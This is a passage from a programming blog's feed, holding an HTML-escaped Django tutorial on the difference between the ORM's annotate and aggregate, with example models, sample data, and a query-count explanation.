border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;django-and-redis&#34;&gt;django and redis&lt;/h2&gt;&#xA;&lt;p&gt;Adding a section of visited products increases sales in an ecommerce and keeps the user longer on the page. It is normal to add this history to a user who is already in the database. The website managers have a history of the products we view, the ones we buy, how much time we spend viewing them and many other data but&amp;hellip; what about the anonymous users who do not have a history? What about anonymous users who do not have an account?&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Django Annotate and aggregate explained</title>
      <link>https://coffeebytes.dev/en/django/django-annotate-and-aggregate-explained/</link>
      <pubDate>Tue, 17 Nov 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/django-annotate-and-aggregate-explained/</guid>
      
      <category>django</category>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;The computer screen illuminated my face full of despair, I rubbed my head in despair, while I googled: &amp;ldquo;Django annotate&amp;rdquo;; one of the ORM functions that I could not understand. Did it happen to you too, I bet it did. I had already read the documentation but it didn&amp;rsquo;t seem clear enough and, to top it off, I often confused it with its evil twin: aggregate. After visiting several stackoverflow questions and multiple English blogs I was able to understand them both. These notes are the result of that search, it is the explanation about django annotate and aggregate in Django that I would have liked to read years ago.&lt;/p&gt;&#xA;&lt;p&gt;This tutorial assumes you know the basics about the Django ORM, in case you don&amp;rsquo;t, I have a link to a free book in my post about the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/the-definitive-guide-to-django/&#34;&gt;definitive Django guide&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Annotate and aggregate are primordial for &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/how-to-scale-a-django-app-to-serve-one-million-users/&#34;&gt;scaling Django applications to serve a myriad of users&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;django-annotate-and-aggregate-main-differences-summarized&#34;&gt;Django annotate and aggregate main differences summarized&lt;/h2&gt;&#xA;&lt;p&gt;If you&amp;rsquo;re in a rush, here are the differences between django annotate and aggregate summarized&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Annotate&lt;/th&gt;&#xA;          &lt;th&gt;Aggregate&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;We add extra information for each object of the query, as an extra property&lt;/td&gt;&#xA;          &lt;td&gt;We summarize all the information from the query in a single value&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Returns a queryset&lt;/td&gt;&#xA;          &lt;td&gt;Returns a dictionary&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;You can concatenate it&lt;/td&gt;&#xA;          &lt;td&gt;You can&amp;rsquo;t concatenate it&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;h2 id=&#34;preparation-to-explain-django-annotate-and-aggregate-differences&#34;&gt;Preparation to explain django annotate and aggregate differences&lt;/h2&gt;&#xA;&lt;p&gt;For this example we are going to create a couple of fictitious models that we will use for the examples:&lt;/p&gt;&#xA;&lt;p&gt;Django 3.0 and Python 3.8.6 were used for this example. However the functions have been the same since they came out so if you&amp;rsquo;re using Django 10 they should be practically the same.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/models.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Seller&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;150&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Order&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    seller &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ForeignKey(Seller, related_name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;orders&amp;#34;&lt;/span&gt;, on_delete&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;PROTECT)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    total &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DecimalField(max_digits&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;18&lt;/span&gt;, decimal_places&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;9&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;After applying the migrations, the above code will create two models: Seller and Order. A seller can have many orders. An order corresponds to a single seller and has a total, expressed in decimal numbers.&lt;/p&gt;&#xA;&lt;p&gt;Next I will create a few data as an example. You can do it in the Django admin or directly in the database.&lt;/p&gt;&#xA;&lt;h3 id=&#34;table-for-salesperson&#34;&gt;Table for salesperson&lt;/h3&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Id&lt;/th&gt;&#xA;          &lt;th&gt;Name&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;Poe&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;2&lt;/td&gt;&#xA;          &lt;td&gt;Lovecraft&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;3&lt;/td&gt;&#xA;          &lt;td&gt;Barker&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;h3 id=&#34;ordering-table&#34;&gt;Ordering table&lt;/h3&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Id&lt;/th&gt;&#xA;          &lt;th&gt;Total&lt;/th&gt;&#xA;          &lt;th&gt;Seller id&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;100&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;2&lt;/td&gt;&#xA;          &lt;td&gt;200&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;3&lt;/td&gt;&#xA;          &lt;td&gt;300&lt;/td&gt;&#xA;          &lt;td&gt;2&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;4&lt;/td&gt;&#xA;          &lt;td&gt;400&lt;/td&gt;&#xA;          &lt;td&gt;2&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;6&lt;/td&gt;&#xA;          &lt;td&gt;600&lt;/td&gt;&#xA;          &lt;td&gt;3&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;Before we talk about annotate and aggregate, let&amp;rsquo;s make sure we know how to get the SQL query that Django will make.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-to-convert-a-queryset-to-sql-in-django&#34;&gt;How to convert a queryset to SQL in Django?&lt;/h2&gt;&#xA;&lt;p&gt;You probably already know the django ORM and have used it to do database lookups. But there is something that many people ignore: &lt;strong&gt;it is possible to get the query, before Django processes and executes it, by printing the query property of our querysets.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;That query must have an associated query, in SQL language, which we can access by printing the query property.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(Seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;query)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SELECT app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;id, app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name FROM app_seller&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Knowing the query that Django will perform helps us understand what is going on behind the ORM. This will be useful to go deeper into &lt;em&gt;annotate&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;annotate-in-django&#34;&gt;Annotate in Django&lt;/h2&gt;&#xA;&lt;h3 id=&#34;why-use-django-annotate&#34;&gt;Why use Django annotate?&lt;/h3&gt;&#xA;&lt;p&gt;We use &lt;em&gt;annotate&lt;/em&gt; &lt;strong&gt;when we want to annotate each object returned from a queryset&lt;/strong&gt;, as if we want to add an extra property to each object in your queryset, but directly from the database.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Annotate is very useful for performing &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/trigrams-and-advanced-searches-with-django-and-postgres/&#34;&gt;advanced text searches using Postgres&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745688599/coffee-bytes/Annotate-explanation-django_1_gefr30.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745688599/coffee-bytes/Annotate-explanation-django_1_gefr30.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Django&amp;#39;s Annotate diagram using a JOIN and an aggregate function like SUM&#34; width=&#34;2205&#34; height=&#34;1001&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Imagine that we want to display in a Django template each seller, followed by the sum of the total of all his orders.&lt;/p&gt;&#xA;&lt;p&gt;The crude approximation would look something like this&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/models.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# DON&amp;#39;T DO THIS IS INEFFICIENT&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Seller&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;150&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;get_order_sum&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        total_sum &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; order &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;orders&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;orders&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;query)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#78787e&#34;&gt;# you can see this query in the terminal&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            total_sum &lt;span style=&#34;color:#ff6ac1&#34;&gt;+=&lt;/span&gt; order&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;total&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; total_sum&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To display it in HTML code, using the template system, we would call the method once for each item in our list of vendors.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% for seller in sellers_list %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  {{ seller.get_order_sum }}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% endfor %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Without using &lt;em&gt;annotate&lt;/em&gt; in Django we would need a query for the list of sellers and an extra one for each seller, when there are 3 sellers, as here, no problem, but what if there were 100 or 200 or more? Each request is going to be very expensive in time and resources.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;If you examine the queries you will see a different query for each vendor.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SELECT ••• FROM app_seller&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# The past query is for obtaining all the sellers&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SELECT ••• FROM app_order WHERE app_order.seller_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SELECT ••• FROM app_order WHERE app_order.seller_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;2&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SELECT ••• FROM app_order WHERE app_order.seller_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;3&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Annotate can reduce the number of database queries and thus improve the time it takes for our server to return a response.&lt;/p&gt;&#xA;&lt;h3 id=&#34;how-to-use-annotate-in-django&#34;&gt;How to use annotate in django?&lt;/h3&gt;&#xA;&lt;p&gt;In Django, annotate **creates an annotation for each of the elements of our queryset and returns the result as a queryset.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; app.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Seller&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Sum&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sellers_with_orders_total &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(orders_total &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Sum(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;orders__total&amp;#39;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span 